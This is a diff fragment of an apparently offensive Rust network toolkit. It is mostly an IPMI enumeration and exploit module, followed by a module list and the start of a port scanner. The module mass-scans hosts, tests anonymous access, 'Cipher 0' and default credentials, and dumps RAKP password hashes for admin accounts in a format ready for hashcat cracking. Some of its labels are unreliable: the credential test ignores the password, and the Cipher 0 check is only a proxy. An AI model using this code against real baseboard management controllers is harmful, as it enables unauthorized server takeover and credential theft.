println!("{}", format!("[!] Warning: Large scan detected ({} targets).", targets.len()).yellow().bold());
|
||||
if !prompt_yes_no("This may consume significant memory and time. Continue?", false)? {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Loaded {} targets", targets.len());
|
||||
|
||||
let port = prompt_port("IPMI Port", IPMI_PORT)?;
|
||||
let test_cipher_zero = prompt_yes_no("Test Cipher 0 vulnerability?", true)?;
|
||||
let test_anonymous = prompt_yes_no("Test anonymous authentication?", true)?;
|
||||
let test_default_creds = prompt_yes_no("Test default credentials?", true)?;
|
||||
let test_rakp_hash = prompt_yes_no("Attempt RAKP hash dumping (IPMI 2.0)?", true)?;
|
||||
|
||||
let concurrency = if targets.len() > 1 {
|
||||
prompt_int_range("Max concurrent scans", 50, 1, 10000)? as usize
|
||||
} else {
|
||||
1
|
||||
};
|
||||
|
||||
let output_file = prompt_default("Output result file", "ipmi_scan_results.csv")?;
|
||||
|
||||
println!("\n{}", "=== Starting IPMI Scan ===".bold().cyan());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
let total_targets = targets.len();
|
||||
|
||||
// Progress monitoring task
|
||||
if total_targets > 1 {
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
let checked = s_checked.load(Ordering::Relaxed);
|
||||
let found = s_found.load(Ordering::Relaxed);
|
||||
if checked >= total_targets { break; }
|
||||
println!(
|
||||
"[*] Progress: {}/{} checked, {} IPMI found",
|
||||
checked, total_targets, found.to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Initialize output file with proper CSV headers
|
||||
let output_file_handle = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(&output_file)
|
||||
.await
|
||||
.context("Failed to create output file")?;
|
||||
|
||||
let mut file_handle = output_file_handle;
|
||||
file_handle.write_all(format!("IPMI Scan Results - {}\n", chrono::Local::now()).as_bytes()).await?;
|
||||
file_handle.write_all(b"IP,Port,Version,AuthTypes,Exploits,Cipher0,Anonymous,Credentials,RAKP_Hash,UPnP_1900,Port_49152\n").await?;
|
||||
|
||||
let output_file_arc = Arc::new(Mutex::new(file_handle));
|
||||
|
||||
for target_str in targets {
|
||||
let sem = semaphore.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file_arc.clone();
|
||||
let target_ip_str = target_str.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
|
||||
// Resolve IP
|
||||
let ip_res = if let Ok(ip) = target_ip_str.parse::<IpAddr>() {
|
||||
Ok(ip)
|
||||
} else {
|
||||
match tokio::net::lookup_host(format!("{}:{}", target_ip_str, port)).await {
|
||||
Ok(mut iter) => iter.next()
|
||||
.map(|s| s.ip())
|
||||
.ok_or_else(|| anyhow!("No IP resolved")),
|
||||
Err(e) => Err(anyhow!(e)),
|
||||
}
|
||||
};
|
||||
|
||||
if let Ok(ip) = ip_res {
|
||||
let addr = SocketAddr::new(ip, port);
|
||||
|
||||
// Perform Scan
|
||||
match scan_host(addr, test_cipher_zero, test_anonymous, test_default_creds, test_rakp_hash).await {
|
||||
Ok(Some(info)) => {
|
||||
sf.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
// Display Result
|
||||
let vuln_str = if info.cipher_zero_vulnerable { " [CIPHER0]".red().bold() } else { "".into() };
|
||||
let anon_str = if info.anonymous_access { " [ANON]".red().bold() } else { "".into() };
|
||||
let rakp_str = if info.rakp_hash.is_some() { " [HASH]".magenta().bold() } else { "".into() };
|
||||
let upnp_str = if info.supermicro_upnp_open { " [UPNP]".yellow().bold() } else { "".into() };
|
||||
let port_str = if info.supermicro_49152_open { " [49152]".yellow().bold() } else { "".into() };
|
||||
let cred_str = if let Some((v, u, p)) = &info.valid_creds {
|
||||
format!(" [CRED: {} {}:{}]", v, u, p).green().bold()
|
||||
} else {
|
||||
"".into()
|
||||
};
|
||||
|
||||
println!("[+] {}: {} {}{}{}{}{}{}",
|
||||
info.ip,
|
||||
info.version.green(),
|
||||
vuln_str,
|
||||
anon_str,
|
||||
rakp_str,
|
||||
upnp_str,
|
||||
port_str,
|
||||
cred_str
|
||||
);
|
||||
|
||||
// Save to file (thread-safe)
|
||||
{
|
||||
let mut file_guard = of.lock().await;
|
||||
let auth_types_str = info.auth_types.join("; ");
|
||||
|
||||
let mut exploits = Vec::new();
|
||||
if info.cipher_zero_vulnerable { exploits.push("CIPHER0_BYPASS"); }
|
||||
if info.anonymous_access { exploits.push("ANON_AUTH"); }
|
||||
if info.rakp_hash.is_some() { exploits.push("RAKP_HASH_DUMP"); }
|
||||
if info.supermicro_upnp_open { exploits.push("UPNP_1900"); }
|
||||
if info.supermicro_49152_open { exploits.push("SUPERMICRO_49152"); }
|
||||
if info.valid_creds.is_some() { exploits.push("DEFAULT_CREDS"); }
|
||||
let exploit_str = if exploits.is_empty() {
|
||||
"VERSION_ONLY".to_string()
|
||||
} else {
|
||||
exploits.join(", ")
|
||||
};
|
||||
|
||||
let cipher0_str = if info.cipher_zero_vulnerable { "Yes" } else { "No" };
|
||||
let anon_str = if info.anonymous_access { "Yes" } else { "No" };
|
||||
let creds_str = if let Some((v, u, p)) = &info.valid_creds {
|
||||
format!("Yes - {} ({}:{})", v, u, p)
|
||||
} else {
|
||||
"No".to_string()
|
||||
};
|
||||
let rakp_str = info.rakp_hash.as_ref().unwrap_or(&"No".to_string()).clone();
|
||||
let upnp_str = if info.supermicro_upnp_open { "Yes" } else { "No" };
|
||||
let p49152_str = if info.supermicro_49152_open { "Yes" } else { "No" };
|
||||
|
||||
let line = format!(
|
||||
"{},{},{},{},{},{},{},{},{},{},{}",
|
||||
info.ip,
|
||||
port,
|
||||
info.version,
|
||||
auth_types_str,
|
||||
exploit_str,
|
||||
cipher0_str,
|
||||
anon_str,
|
||||
creds_str,
|
||||
rakp_str,
|
||||
upnp_str,
|
||||
p49152_str
|
||||
);
|
||||
|
||||
let _ = file_guard.write_all(format!("{}\n", line).as_bytes()).await;
|
||||
}
|
||||
},
|
||||
Ok(None) => {
|
||||
// No IPMI service detected
|
||||
},
|
||||
Err(e) => {
|
||||
eprintln!("[!] Error scanning {}: {}", ip, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
}));
|
||||
}
|
||||
|
||||
// Wait for all tasks to complete
|
||||
while tasks.next().await.is_some() {}
|
||||
|
||||
let final_checked = stats_checked.load(Ordering::Relaxed);
|
||||
let final_found = stats_found.load(Ordering::Relaxed);
|
||||
|
||||
println!("\n{}", "=== Scan Complete ===".green().bold());
|
||||
println!("Targets scanned: {}", final_checked);
|
||||
println!("IPMI services found: {}", final_found.to_string().green().bold());
|
||||
println!("Results saved to: {}", output_file.cyan());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_host(
|
||||
addr: SocketAddr,
|
||||
check_c0: bool,
|
||||
check_anon: bool,
|
||||
check_creds: bool,
|
||||
check_rakp: bool,
|
||||
) -> Result<Option<IpmiInfo>> {
|
||||
// Use tokio async UDP socket
|
||||
let socket = UdpSocket::bind("0.0.0.0:0")
|
||||
.await
|
||||
.context("Failed to bind UDP socket")?;
|
||||
|
||||
socket.connect(addr)
|
||||
.await
|
||||
.context("Failed to connect to target")?;
|
||||
|
||||
// 1. Detect Version
|
||||
let (version, auth_types) = match detect_ipmi_version(&socket).await {
|
||||
Ok(res) => res,
|
||||
Err(_) => return Ok(None), // Not IPMI or unreachable
|
||||
};
|
||||
|
||||
let mut info = IpmiInfo {
|
||||
ip: addr.ip(),
|
||||
version,
|
||||
auth_types,
|
||||
cipher_zero_vulnerable: false,
|
||||
anonymous_access: false,
|
||||
valid_creds: None,
|
||||
rakp_hash: None,
|
||||
supermicro_upnp_open: false,
|
||||
supermicro_49152_open: false,
|
||||
};
|
||||
|
||||
// 2. Check Cipher 0
|
||||
if check_c0 && info.version.contains("2.0") {
|
||||
if let Ok(true) = test_cipher_zero_vuln(&socket).await {
|
||||
info.cipher_zero_vulnerable = true;
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Check Anonymous Access
|
||||
if check_anon {
|
||||
if let Ok(true) = test_credentials(&socket, "", "").await {
|
||||
info.anonymous_access = true;
|
||||
}
|
||||
}
|
||||
|
||||
// 4. Test Default Credentials
|
||||
if check_creds {
|
||||
for (vendor, user, pass) in DEFAULT_CREDS {
|
||||
if let Ok(true) = test_credentials(&socket, user, pass).await {
|
||||
info.valid_creds = Some((vendor.to_string(), user.to_string(), pass.to_string()));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 5. RAKP Hash Dump (IPMI 2.0 Only)
|
||||
if check_rakp && info.version.contains("2.0") {
|
||||
let target_users = ["admin", "root", "Administrator", "ADMIN"];
|
||||
for user in target_users {
|
||||
if let Ok(Some(hash)) = get_rakp_hash(&socket, user).await {
|
||||
info.rakp_hash = Some(hash);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 6. Supermicro Checks (UPnP 1900 + Port 49152)
|
||||
if scan_supermicro_upnp(addr.ip(), 1900).await {
|
||||
info.supermicro_upnp_open = true;
|
||||
}
|
||||
if scan_supermicro_upnp(addr.ip(), 49152).await {
|
||||
info.supermicro_49152_open = true;
|
||||
}
|
||||
|
||||
Ok(Some(info))
|
||||
}
|
||||
|
||||
// --- Helper Functions ---
|
||||
|
||||
fn build_rmcp_header() -> Vec<u8> {
|
||||
vec![
|
||||
RMCP_VERSION, // Version
|
||||
RMCP_RESERVED, // Reserved
|
||||
RMCP_SEQ, // Sequence (0xFF for no ack)
|
||||
RMCP_CLASS_IPMI, // Class (IPMI)
|
||||
]
|
||||
}
|
||||
|
||||
fn build_get_auth_cap_request(channel: u8, privilege: u8) -> Vec<u8> {
|
||||
let mut packet = build_rmcp_header();
|
||||
packet.push(AUTH_TYPE_NONE);
|
||||
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session Seq
|
||||
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID
|
||||
|
||||
// Message data starts here (after IPMI session header)
|
||||
let msg_start = packet.len();
|
||||
|
||||
packet.push(0x09); // Message length (will be adjusted)
|
||||
packet.push(0x20); // Target (BMC)
|
||||
packet.push((0x06 << 2) | 0x00); // NetFn (0x06 = App) / LUN
|
||||
|
||||
let header_checksum = calculate_checksum(&packet[msg_start + 1..]);
|
||||
packet.push(header_checksum);
|
||||
|
||||
packet.push(0x81); // Source (Requester)
|
||||
packet.push((0x00 << 2) | 0x00); // Seq/LUN
|
||||
packet.push(IPMI_CMD_GET_CHANNEL_AUTH_CAP);
|
||||
packet.push(0x80 | channel); // Extended capabilities
|
||||
packet.push(privilege);
|
||||
|
||||
let data_checksum = calculate_checksum(&packet[msg_start + 4..]);
|
||||
packet.push(data_checksum);
|
||||
|
||||
// Update message length
|
||||
packet[msg_start] = (packet.len() - msg_start - 1) as u8;
|
||||
|
||||
packet
|
||||
}
|
||||
|
||||
fn build_session_challenge_request(auth_type: u8, username: &str) -> Vec<u8> {
|
||||
let mut packet = build_rmcp_header();
|
||||
packet.push(AUTH_TYPE_NONE);
|
||||
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]);
|
||||
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]);
|
||||
|
||||
let msg_start = packet.len();
|
||||
|
||||
packet.push(0x18); // Message length placeholder
|
||||
packet.push(0x20);
|
||||
packet.push((0x06 << 2) | 0x00); // NetFn / LUN
|
||||
|
||||
let header_checksum = calculate_checksum(&packet[msg_start + 1..msg_start + 3]);
|
||||
packet.push(header_checksum);
|
||||
|
||||
packet.push(0x81);
|
||||
packet.push((0x00 << 2) | 0x00);
|
||||
packet.push(IPMI_CMD_GET_SESSION_CHALLENGE);
|
||||
packet.push(auth_type);
|
||||
|
||||
let mut user_bytes = [0u8; 16];
|
||||
let user_len = username.len().min(16);
|
||||
user_bytes[..user_len].copy_from_slice(&username.as_bytes()[..user_len]);
|
||||
packet.extend_from_slice(&user_bytes);
|
||||
|
||||
let data_checksum = calculate_checksum(&packet[msg_start + 4..]);
|
||||
packet.push(data_checksum);
|
||||
|
||||
// Update message length
|
||||
packet[msg_start] = (packet.len() - msg_start - 1) as u8;
|
||||
|
||||
packet
|
||||
}
|
||||
|
||||
fn calculate_checksum(data: &[u8]) -> u8 {
|
||||
let sum: u8 = data.iter().fold(0u8, |acc, &x| acc.wrapping_add(x));
|
||||
(!sum).wrapping_add(1)
|
||||
}
|
||||
|
||||
async fn detect_ipmi_version(socket: &UdpSocket) -> Result<(String, Vec<String>)> {
|
||||
let request = build_get_auth_cap_request(0x0E, 0x04);
|
||||
|
||||
for attempt in 0..MAX_RETRIES {
|
||||
socket.send(&request)
|
||||
.await
|
||||
.context("Failed to send Get Channel Auth Capabilities request")?;
|
||||
|
||||
let mut buffer = [0u8; 256];
|
||||
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(RECV_TIMEOUT_MS),
|
||||
socket.recv(&mut buffer)
|
||||
).await {
|
||||
Ok(Ok(n)) if n > 20 => {
|
||||
// Validate RMCP header
|
||||
if buffer[0] != RMCP_VERSION || buffer[3] != RMCP_CLASS_IPMI {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check completion code (byte 20 in standard response)
|
||||
if n < 24 { continue; }
|
||||
let completion_code = buffer[20];
|
||||
if completion_code != 0x00 {
|
||||
return Err(anyhow!("IPMI returned error code: 0x{:02x}", completion_code));
|
||||
}
|
||||
|
||||
let auth_type_support = buffer[22];
|
||||
let extended_cap = if n > 24 { buffer[24] } else { 0 };
|
||||
|
||||
let mut auth_types = Vec::new();
|
||||
if auth_type_support & 0x01 != 0 { auth_types.push("None".to_string()); }
|
||||
if auth_type_support & 0x02 != 0 { auth_types.push("MD2".to_string()); }
|
||||
if auth_type_support & 0x04 != 0 { auth_types.push("MD5".to_string()); }
|
||||
if auth_type_support & 0x10 != 0 { auth_types.push("Password".to_string()); }
|
||||
if auth_type_support & 0x20 != 0 { auth_types.push("OEM".to_string()); }
|
||||
|
||||
let version = if extended_cap & 0x02 != 0 {
|
||||
"IPMI 2.0".to_string()
|
||||
} else {
|
||||
"IPMI 1.5".to_string()
|
||||
};
|
||||
|
||||
return Ok((version, auth_types));
|
||||
}
|
||||
Ok(Ok(_)) => continue,
|
||||
Ok(Err(e)) => {
|
||||
if attempt == MAX_RETRIES - 1 {
|
||||
return Err(anyhow!("Recv error: {}", e));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
Err(_) => {
|
||||
if attempt == MAX_RETRIES - 1 {
|
||||
return Err(anyhow!("Timeout waiting for response"));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Err(anyhow!("No valid response after {} retries", MAX_RETRIES))
|
||||
}
|
||||
|
||||
async fn test_cipher_zero_vuln(socket: &UdpSocket) -> Result<bool> {
|
||||
// Cipher 0 means authentication can be bypassed with "None" auth type
|
||||
// We already check this in detect_ipmi_version by looking at auth_type_support
|
||||
// This is a simplified check - for IPMI 2.0, cipher suite 0 specifically means
|
||||
// no authentication, no integrity, no confidentiality
|
||||
|
||||
let request = build_get_auth_cap_request(0x0E, 0x04);
|
||||
socket.send(&request).await?;
|
||||
|
||||
let mut buffer = [0u8; 256];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(RECV_TIMEOUT_MS),
|
||||
socket.recv(&mut buffer)
|
||||
).await {
|
||||
Ok(Ok(n)) if n > 22 => {
|
||||
let auth_type_support = buffer[22];
|
||||
// If "None" authentication is supported, it's vulnerable
|
||||
Ok(auth_type_support & 0x01 != 0)
|
||||
}
|
||||
_ => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
async fn test_credentials(socket: &UdpSocket, username: &str, _password: &str) -> Result<bool> {
|
||||
let request = build_session_challenge_request(AUTH_TYPE_MD5, username);
|
||||
|
||||
for _ in 0..MAX_RETRIES {
|
||||
socket.send(&request).await?;
|
||||
|
||||
let mut buffer = [0u8; 256];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(RECV_TIMEOUT_MS),
|
||||
socket.recv(&mut buffer)
|
||||
).await {
|
||||
Ok(Ok(n)) if n > 20 => {
|
||||
let completion_code = buffer[20];
|
||||
// 0x00 = success (user exists and session challenge returned)
|
||||
// 0xCC = invalid user
|
||||
if completion_code == 0x00 {
|
||||
return Ok(true);
|
||||
}
|
||||
return Ok(false);
|
||||
}
|
||||
_ => continue,
|
||||
}
|
||||
}
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Retrieve RAKP Hash (HMAC-SHA1) for offline cracking
|
||||
/// Returns formatted hash compatible with hashcat/john
|
||||
async fn get_rakp_hash(socket: &UdpSocket, username: &str) -> Result<Option<String>> {
|
||||
// Step 1: Send RMCP+ Open Session Request
|
||||
let open_req = build_rmcpp_open_session_request();
|
||||
socket.send(&open_req).await.context("Failed to send Open Session Request")?;
|
||||
|
||||
let mut buffer = [0u8; 1024];
|
||||
let n = match tokio::time::timeout(
|
||||
Duration::from_millis(RECV_TIMEOUT_MS),
|
||||
socket.recv(&mut buffer)
|
||||
).await {
|
||||
Ok(Ok(n)) if n > 36 => n,
|
||||
_ => return Ok(None),
|
||||
};
|
||||
|
||||
// Validate RMCP header
|
||||
if buffer[0] != RMCP_VERSION { return Ok(None); }
|
||||
|
||||
// Parse Open Session Response
|
||||
// Structure: RMCP(4) + Auth(1) + PayloadType(1) + SessionID(4) + Seq(4) + PayloadLen(2) + Payload
|
||||
if buffer[5] != (PAYLOAD_RMCPP_OPEN_SESSION_REQUEST + 1) { // Response is request + 1
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
// Check status code in payload (offset 16)
|
||||
if n < 28 || buffer[16] != 0x00 {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
// Extract Managed System Session ID (offset 20-23, little-endian)
|
||||
let managed_session_id = u32::from_le_bytes([
|
||||
buffer[20], buffer[21], buffer[22], buffer[23]
|
||||
]);
|
||||
|
||||
// Step 2: Send RAKP Message 1
|
||||
let console_session_id = 0xAABBCCDD_u32; // Our chosen session ID
|
||||
let console_random = [0x41u8; 16]; // Random nonce
|
||||
|
||||
let rakp1 = build_rakp_message_1(username, managed_session_id, console_session_id, &console_random);
|
||||
socket.send(&rakp1).await.context("Failed to send RAKP Message 1")?;
|
||||
|
||||
// Step 3: Receive RAKP Message 2
|
||||
let n = match tokio::time::timeout(
|
||||
Duration::from_millis(RECV_TIMEOUT_MS),
|
||||
socket.recv(&mut buffer)
|
||||
).await {
|
||||
Ok(Ok(n)) if n > 60 => n,
|
||||
_ => return Ok(None),
|
||||
};
|
||||
|
||||
// Validate RAKP Message 2
|
||||
if buffer[0] != RMCP_VERSION { return Ok(None); }
|
||||
if buffer[5] != PAYLOAD_RAKP_MESSAGE_2 { return Ok(None); }
|
||||
|
||||
// RAKP2 Payload starts at offset 16
|
||||
// Structure: Tag(1) + Status(1) + Reserved(2) + Console Session ID(4) +
|
||||
// Managed Random(16) + Managed GUID(16) + HMAC(20 for SHA1)
|
||||
|
||||
let rakp2_offset = 16;
|
||||
if n < rakp2_offset + 60 { return Ok(None); }
|
||||
|
||||
let status = buffer[rakp2_offset + 1];
|
||||
if status != 0x00 {
|
||||
return Ok(None); // Authentication failed or user doesn't exist
|
||||
}
|
||||
|
||||
// Extract salt (Managed System Random Number) - 16 bytes at offset 24
|
||||
let salt_offset = rakp2_offset + 8;
|
||||
let salt = &buffer[salt_offset..salt_offset + 16];
|
||||
|
||||
// Extract HMAC - typically last 20 bytes (SHA1) at offset 40
|
||||
let hmac_offset = rakp2_offset + 40;
|
||||
let hmac = &buffer[hmac_offset..hmac_offset + 20];
|
||||
|
||||
// Format for hashcat (mode 7300) or john
|
||||
// Format: $rakp$<salt_hex>$<hmac_hex>$<username>$<session_id_hex>
|
||||
let salt_hex = hex::encode(salt);
|
||||
let hmac_hex = hex::encode(hmac);
|
||||
let session_hex = format!("{:08x}", console_session_id);
|
||||
|
||||
let hash = format!("$rakp${}${}${}${}", salt_hex, hmac_hex, username, session_hex);
|
||||
|
||||
Ok(Some(hash))
|
||||
}
|
||||
|
||||
fn build_rmcpp_open_session_request() -> Vec<u8> {
|
||||
let mut p = build_rmcp_header();
|
||||
p.push(AUTH_TYPE_RMCPP); // RMCP+ Auth Type
|
||||
p.push(PAYLOAD_RMCPP_OPEN_SESSION_REQUEST); // Payload Type
|
||||
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID (0 for setup)
|
||||
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Sequence Number
|
||||
|
||||
// Payload Length (32 bytes) - little endian
|
||||
p.extend_from_slice(&[0x20, 0x00]);
|
||||
|
||||
// Open Session Request Payload
|
||||
p.push(0x00); // Message Tag
|
||||
p.push(0x00); // Requested Max Privilege Level (0 = highest available)
|
||||
p.extend_from_slice(&[0x00, 0x00]); // Reserved
|
||||
|
||||
// Console Session ID (our chosen ID)
|
||||
p.extend_from_slice(&[0xAA, 0xBB, 0xCC, 0xDD]);
|
||||
|
||||
// Authentication Algorithm: RAKP-HMAC-SHA1
|
||||
p.extend_from_slice(&[
|
||||
0x00, 0x00, 0x00, 0x08, // Auth payload type + length
|
||||
0x01, 0x00, 0x00, 0x00 // Algorithm: RAKP-HMAC-SHA1
|
||||
]);
|
||||
|
||||
// Integrity Algorithm: HMAC-SHA1-96
|
||||
p.extend_from_slice(&[
|
||||
0x01, 0x00, 0x00, 0x08, // Integrity payload type + length
|
||||
0x01, 0x00, 0x00, 0x00 // Algorithm: HMAC-SHA1-96
|
||||
]);
|
||||
|
||||
// Confidentiality Algorithm: None
|
||||
p.extend_from_slice(&[
|
||||
0x02, 0x00, 0x00, 0x08, // Confidentiality payload type + length
|
||||
0x00, 0x00, 0x00, 0x00 // Algorithm: None
|
||||
]);
|
||||
|
||||
p
|
||||
}
|
||||
|
||||
fn build_rakp_message_1(
|
||||
username: &str,
|
||||
managed_session_id: u32,
|
||||
_console_session_id: u32,
|
||||
console_random: &[u8; 16]
|
||||
) -> Vec<u8> {
|
||||
let mut p = build_rmcp_header();
|
||||
p.push(AUTH_TYPE_RMCPP);
|
||||
p.push(PAYLOAD_RAKP_MESSAGE_1);
|
||||
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID (0)
|
||||
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Sequence
|
||||
|
||||
// Calculate Payload Length
|
||||
let payload_len = 1 + 3 + 4 + 16 + 1 + 1 + username.len();
|
||||
p.extend_from_slice(&(payload_len as u16).to_le_bytes());
|
||||
|
||||
// RAKP Message 1 Payload
|
||||
p.push(0x00); // Message Tag
|
||||
p.extend_from_slice(&[0x00, 0x00, 0x00]); // Reserved
|
||||
|
||||
// Managed System Session ID (from Open Session Response)
|
||||
p.extend_from_slice(&managed_session_id.to_le_bytes());
|
||||
|
||||
// Console Random Number (16 bytes)
|
||||
p.extend_from_slice(console_random);
|
||||
|
||||
// Requested Max Privilege + Username present flag
|
||||
p.push(0x14); // 0x10 (username present) | 0x04 (Admin privilege)
|
||||
|
||||
// Username Length and Username
|
||||
p.push(username.len() as u8);
|
||||
p.extend_from_slice(username.as_bytes());
|
||||
|
||||
p
|
||||
}
|
||||
|
||||
async fn scan_supermicro_upnp(ip: IpAddr, port: u16) -> bool {
|
||||
let addr = SocketAddr::new(ip, port);
|
||||
|
||||
if let Ok(socket) = UdpSocket::bind("0.0.0.0:0").await {
|
||||
if socket.connect(addr).await.is_err() {
|
||||
return false;
|
||||
}
|
||||
|
||||
// M-SEARCH SSDP packet
|
||||
let msg = "M-SEARCH * HTTP/1.1\r\n\
|
||||
HOST: 239.255.255.250:1900\r\n\
|
||||
MAN: \"ssdp:discover\"\r\n\
|
||||
MX: 1\r\n\
|
||||
ST: ssdp:all\r\n\r\n";
|
||||
|
||||
if socket.send(msg.as_bytes()).await.is_ok() {
|
||||
let mut buf = [0u8; 1024];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(500),
|
||||
socket.recv(&mut buf)
|
||||
).await {
|
||||
Ok(Ok(_)) => return true,
|
||||
_ => return false,
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
@@ -1,14 +0,0 @@
|
||||
pub mod sample_scanner;
|
||||
pub mod ssdp_msearch;
|
||||
pub mod port_scanner;
|
||||
pub mod stalkroute_full_traceroute;
|
||||
pub mod http_title_scanner;
|
||||
pub mod ping_sweep;
|
||||
pub mod http_method_scanner;
|
||||
pub mod dns_recursion;
|
||||
pub mod ssh_scanner;
|
||||
pub mod smtp_user_enum;
|
||||
pub mod dir_brute;
|
||||
pub mod sequential_fuzzer;
|
||||
pub mod api_endpoint_scanner;
|
||||
pub mod ipmi_enum_exploit;
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,756 +0,0 @@
|
||||
use anyhow::{Result, anyhow, Context};
|
||||
use colored::*;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{Write, BufWriter},
|
||||
net::{SocketAddr, ToSocketAddrs},
|
||||
sync::{Arc, Mutex},
|
||||
time::Instant,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::{TcpStream, UdpSocket},
|
||||
sync::Semaphore,
|
||||
time::{timeout, Duration},
|
||||
};
|
||||
use rand::{Rng, rng};
|
||||
use socket2::{Socket, Domain, Type, Protocol};
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
pub enum ScanMethod {
|
||||
TcpConnect,
|
||||
Udp,
|
||||
Both,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ScanSettings {
|
||||
pub concurrency: usize,
|
||||
pub timeout_secs: u64,
|
||||
pub show_only_open: bool,
|
||||
pub verbose: bool,
|
||||
pub scan_method: ScanMethod,
|
||||
pub output_file: String,
|
||||
pub port_range: PortRange,
|
||||
pub ttl: Option<u32>,
|
||||
pub data_length: Option<usize>,
|
||||
pub source_port: Option<u16>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum PortRange {
|
||||
All,
|
||||
Custom { start: u16, end: u16 },
|
||||
Common,
|
||||
Top1000,
|
||||
}
|
||||
|
||||
impl PortRange {
|
||||
fn get_ports(&self) -> Vec<u16> {
|
||||
match self {
|
||||
PortRange::All => (1..=65535).collect(),
|
||||
PortRange::Custom { start, end } => (*start..=*end).collect(),
|
||||
PortRange::Common => COMMON_PORTS.to_vec(),
|
||||
PortRange::Top1000 => (1..=1000).collect(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Common ports list
|
||||
const COMMON_PORTS: &[u16] = &[
|
||||
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080,
|
||||
];
|
||||
|
||||
// Service detection map
|
||||
fn get_service_name(port: u16) -> &'static str {
|
||||
match port {
|
||||
21 => "FTP",
|
||||
22 => "SSH",
|
||||
23 => "Telnet",
|
||||
25 => "SMTP",
|
||||
53 => "DNS",
|
||||
80 => "HTTP",
|
||||
110 => "POP3",
|
||||
111 => "RPC",
|
||||
135 => "MSRPC",
|
||||
139 => "NetBIOS",
|
||||
143 => "IMAP",
|
||||
443 => "HTTPS",
|
||||
445 => "SMB",
|
||||
993 => "IMAPS",
|
||||
995 => "POP3S",
|
||||
1723 => "PPTP",
|
||||
3306 => "MySQL",
|
||||
3389 => "RDP",
|
||||
5900 => "VNC",
|
||||
8080 => "HTTP-Proxy",
|
||||
_ => "",
|
||||
}
|
||||
}
|
||||
|
||||
/// Interactive config prompt
|
||||
pub fn prompt_settings() -> Result<ScanSettings> {
|
||||
println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
|
||||
|
||||
// Port range selection
|
||||
println!("\n{}", "Port Range Options:".yellow());
|
||||
println!(" 1. All ports (1-65535)");
|
||||
println!(" 2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)");
|
||||
println!(" 3. Top 1000 ports");
|
||||
println!(" 4. Custom range");
|
||||
|
||||
let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
|
||||
let port_range = match range_choice {
|
||||
1 | 0 => PortRange::All,
|
||||
2 => PortRange::Common,
|
||||
3 => PortRange::Top1000,
|
||||
4 => {
|
||||
let start_val: usize = prompt_usize("Start port: ")?;
|
||||
let end_val: usize = prompt_usize("End port: ")?;
|
||||
|
||||
if start_val > 65535 || start_val == 0 {
|
||||
return Err(anyhow!("Start port must be between 1 and 65535"));
|
||||
}
|
||||
if end_val > 65535 || end_val == 0 {
|
||||
return Err(anyhow!("End port must be between 1 and 65535"));
|
||||
}
|
||||
|
||||
let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?;
|
||||
let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?;
|
||||
|
||||
if start > end {
|
||||
return Err(anyhow!("Start port must be <= end port"));
|
||||
}
|
||||
PortRange::Custom { start, end }
|
||||
}
|
||||
_ => PortRange::All,
|
||||
};
|
||||
|
||||
let ports = port_range.get_ports();
|
||||
println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
|
||||
